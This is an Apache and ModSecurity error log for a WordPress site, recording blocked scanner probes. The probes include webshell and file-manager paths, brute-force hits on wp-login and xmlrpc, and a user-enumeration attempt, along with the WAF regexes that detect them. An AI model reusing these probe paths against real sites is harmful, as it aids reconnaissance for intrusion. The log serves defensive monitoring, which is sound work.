[Thu Apr 23 23:13:44.196467 2026] [:error] [pid 46953:tid 46957] [client 51.103.174.167:34296] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aeo3KEnlpdHh-P6wKbpNbQAAAkE"]
[Thu Apr 23 23:13:45.389725 2026] [:error] [pid 64967:tid 64977] [client 51.103.174.167:37426] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwclass.php"] [unique_id "aeo3KYAV4GfOOdX8QzqB-gAAAYg"]
[Thu Apr 23 23:13:46.583289 2026] [:error] [pid 65000:tid 65032] [client 51.103.174.167:5720] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit-tags.php"] [unique_id "aeo3Kr6vRb9j6psK2ZbS1QAAAgM"]
[Thu Apr 23 23:13:48.941542 2026] [:error] [pid 46953:tid 46976] [client 51.103.174.167:5735] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit-tags.php"] [unique_id "aeo3LEnlpdHh-P6wKbpNbgAAAlQ"]
[Thu Apr 23 23:13:50.312150 2026] [:error] [pid 42972:tid 43038] [client 51.103.174.167:45231] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit-tags.php"] [unique_id "aeo3LsOAb-3sOknsk4dlAgAAAFY"]
[Thu Apr 23 23:13:51.805342 2026] [:error] [pid 42972:tid 43033] [client 51.103.174.167:45219] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit-tags.php"] [unique_id "aeo3L8OAb-3sOknsk4dlBgAAAFE"]
[Thu Apr 23 23:13:52.528213 2026] [:error] [pid 64967:tid 64970] [client 51.103.174.167:60777] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aeo3MIAV4GfOOdX8QzqB_AAAAYE"]
[Thu Apr 23 23:13:53.614841 2026] [:error] [pid 65000:tid 65043] [client 51.103.174.167:32136] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aeo3Mb6vRb9j6psK2ZbS8wAAAgo"]
[Thu Apr 23 23:13:54.518363 2026] [:error] [pid 65000:tid 65031] [client 51.103.174.167:36936] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aeo3Mr6vRb9j6psK2ZbS_QAAAgI"]
[Thu Apr 23 23:13:55.471614 2026] [:error] [pid 46953:tid 46958] [client 51.103.174.167:44813] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aeo3M0nlpdHh-P6wKbpNbwAAAkI"]
[Thu Apr 23 23:13:56.128323 2026] [:error] [pid 64998:tid 65017] [client 51.103.174.167:41138] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "aeo3NIV5EysYcTLjmwixpwAAAc8"]
[Thu Apr 23 23:13:56.665530 2026] [:error] [pid 65000:tid 65049] [client 51.103.174.167:44838] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "aeo3NL6vRb9j6psK2ZbTCwAAAhA"]
[Thu Apr 23 23:13:57.259018 2026] [:error] [pid 65000:tid 65051] [client 51.103.174.167:45235] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "aeo3Nb6vRb9j6psK2ZbTEAAAAhI"]
[Thu Apr 23 23:13:57.902301 2026] [:error] [pid 64967:tid 64972] [client 51.103.174.167:36941] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zoper1.php"] [unique_id "aeo3NYAV4GfOOdX8QzqB_wAAAYM"]
[Thu Apr 23 23:13:58.593159 2026] [:error] [pid 25635:tid 25644] [client 51.103.174.167:36967] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeo3NsRxv6UsgRGKB3I9ZwAAAQU"]
[Thu Apr 23 23:13:59.493358 2026] [:error] [pid 42972:tid 43024] [client 51.103.174.167:45833] [client 51.103.174.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "aeo3N8OAb-3sOknsk4dlGwAAAEg"]
[Thu Apr 23 23:48:17.883209 2026] [:error] [pid 59700:tid 59722] [client 173.239.218.39:43991] [client 173.239.218.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeo_QZXyGZJFeAIDWtlMnAAAAVQ"]
[Thu Apr 23 23:48:27.918139 2026] [:error] [pid 65000:tid 65039] [client 173.239.218.28:58887] [client 173.239.218.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aeo_S76vRb9j6psK2Zb3dQAAAgY"]
[Thu Apr 23 23:48:55.482005 2026] [:error] [pid 42972:tid 43028] [client 173.239.218.55:47769] [client 173.239.218.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeo_Z8OAb-3sOknsk4d59wAAAEw"]
[Thu Apr 23 23:49:18.705271 2026] [:error] [pid 65000:tid 65046] [client 173.239.218.54:25185] [client 173.239.218.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeo_fr6vRb9j6psK2Zb5VQAAAg0"]
[Thu Apr 23 23:49:37.056215 2026] [autoindex:error] [pid 43083:tid 43093] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:49:53.308064 2026] [autoindex:error] [pid 43083:tid 43088] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:50:38.822982 2026] [autoindex:error] [pid 43083:tid 43102] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:50:47.833478 2026] [autoindex:error] [pid 43083:tid 43089] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:09.310613 2026] [autoindex:error] [pid 43083:tid 43087] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:09.476415 2026] [autoindex:error] [pid 43083:tid 43107] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:17.312759 2026] [autoindex:error] [pid 43083:tid 43100] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:17.482719 2026] [autoindex:error] [pid 43083:tid 43092] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:23.525357 2026] [autoindex:error] [pid 43083:tid 43086] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:23.689781 2026] [autoindex:error] [pid 43083:tid 43091] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:23.851975 2026] [autoindex:error] [pid 43083:tid 43097] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:31.555865 2026] [autoindex:error] [pid 43083:tid 43106] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:31.732022 2026] [autoindex:error] [pid 43083:tid 43101] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:51:31.911613 2026] [autoindex:error] [pid 43083:tid 43105] [client 173.239.218.53:22933] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Apr 24 00:36:24.236026 2026] [:error] [pid 65000:tid 65049] [client 103.151.52.53:39136] [client 103.151.52.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.151.52.53, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aepKiL6vRb9j6psK2ZYrQwAAAhA"]
[Fri Apr 24 01:37:52.909498 2026] [:error] [pid 64967:tid 64971] [client 172.105.190.145:43066] [client 172.105.190.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.105.190.145, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aepY8IAV4GfOOdX8QzqXowAAAYI"]
[Fri Apr 24 01:37:54.874557 2026] [proxy_fcgi:error] [pid 64967:tid 64971] [client 172.105.190.145:43066] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "params" in /home/vetstars/public_html/wp-includes/IXR/class-IXR-server.php on line 203; PHP message: PHP Fatal error:  Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /home/vetstars/public_html/wp-includes/IXR/class-IXR-server.php:95\nStack trace:\n#0 /home/vetstars/public_html/wp-includes/IXR/class-IXR-server.php(207): IXR_Server->call()\n#1 /home/vetstars/public_html/wp-includes/IXR/class-IXR-server.php(109): IXR_Server->multiCall()\n#2 /home/vetstars/public_html/wp-includes/IXR/class-IXR-server.php(59): IXR_Server->call()\n#3 /home/vetstars/public_html/wp-includes/IXR/class-IXR-server.php(27): IXR_Server->serve()\n#4 /home/vetstars/public_html/wp-includes/IXR/class-IXR-server.php(35): IXR_Server->__construct()\n#5 /home/vetstars/public_html/wp-includes/class-wp-xmlrpc-server.php(246): IXR_Server->IXR_Server()\n#6 /home/vetstars/public_html/xmlrpc.php(85): wp_xmlrpc_server->serve_request()\n#7 {main}\n  thrown in /home/vetstars/public_html/wp-includes/IXR/class-IXR-server.php on line 95'
[Fri Apr 24 01:38:28.206851 2026] [:error] [pid 65000:tid 65039] [client 204.168.135.178:56770] [client 204.168.135.178] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aepZFL6vRb9j6psK2ZZyjgAAAgY"]
[Fri Apr 24 01:44:29.269025 2026] [:error] [pid 65000:tid 65048] [client 65.108.125.120:22878] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aepafb6vRb9j6psK2ZZ3oAAAAg8"]
[Fri Apr 24 01:44:31.831342 2026] [:error] [pid 59700:tid 59704] [client 65.108.125.120:22892] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aepaf5XyGZJFeAIDWtl2EQAAAUI"]
[Fri Apr 24 01:44:34.482626 2026] [:error] [pid 65000:tid 65050] [client 65.108.125.120:22904] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aepagr6vRb9j6psK2ZZ3tAAAAhE"]
[Fri Apr 24 01:44:36.967278 2026] [:error] [pid 64998:tid 65010] [client 65.108.125.120:22916] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aepahIV5EysYcTLjmwgwCQAAAcg"]
[Fri Apr 24 01:44:39.589364 2026] [:error] [pid 59700:tid 59721] [client 65.108.125.120:33292] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aepah5XyGZJFeAIDWtl2GAAAAVM"]
[Fri Apr 24 01:44:42.168679 2026] [:error] [pid 59700:tid 59706] [client 65.108.125.120:33298] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aepaipXyGZJFeAIDWtl2HAAAAUQ"]
[Fri Apr 24 01:44:44.636896 2026] [:error] [pid 42973:tid 43047] [client 65.108.125.120:33312] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aepajG6I0QqmmmLTHE2BzQAAAIQ"]
[Fri Apr 24 01:44:47.162868 2026] [:error] [pid 59700:tid 59721] [client 65.108.125.120:33324] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aepaj5XyGZJFeAIDWtl2JAAAAVM"]
[Fri Apr 24 01:44:49.656706 2026] [:error] [pid 42972:tid 43017] [client 65.108.125.120:13058] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aepakcOAb-3sOknsk4fA8gAAAEE"]
[Fri Apr 24 01:44:52.193152 2026] [:error] [pid 42973:tid 43062] [client 65.108.125.120:13074] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aepalG6I0QqmmmLTHE2B0wAAAJM"]
[Fri Apr 24 01:44:54.701374 2026] [:error] [pid 42972:tid 43032] [client 65.108.125.120:13090] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aepalsOAb-3sOknsk4fA-QAAAFA"]
[Fri Apr 24 01:44:57.217071 2026] [:error] [pid 46953:tid 46981] [client 65.108.125.120:13098] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aepamUnlpdHh-P6wKbp40wAAAlg"]
[Fri Apr 24 01:44:59.747094 2026] [:error] [pid 65000:tid 65039] [client 65.108.125.120:52556] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aepam76vRb9j6psK2ZZ3_AAAAgY"]
[Fri Apr 24 01:45:02.296926 2026] [:error] [pid 65000:tid 65049] [client 65.108.125.120:52566] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aepanr6vRb9j6psK2ZZ4AgAAAhA"]
[Fri Apr 24 01:45:04.838843 2026] [:error] [pid 46953:tid 46981] [client 65.108.125.120:52580] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aepaoEnlpdHh-P6wKbp45QAAAlg"]
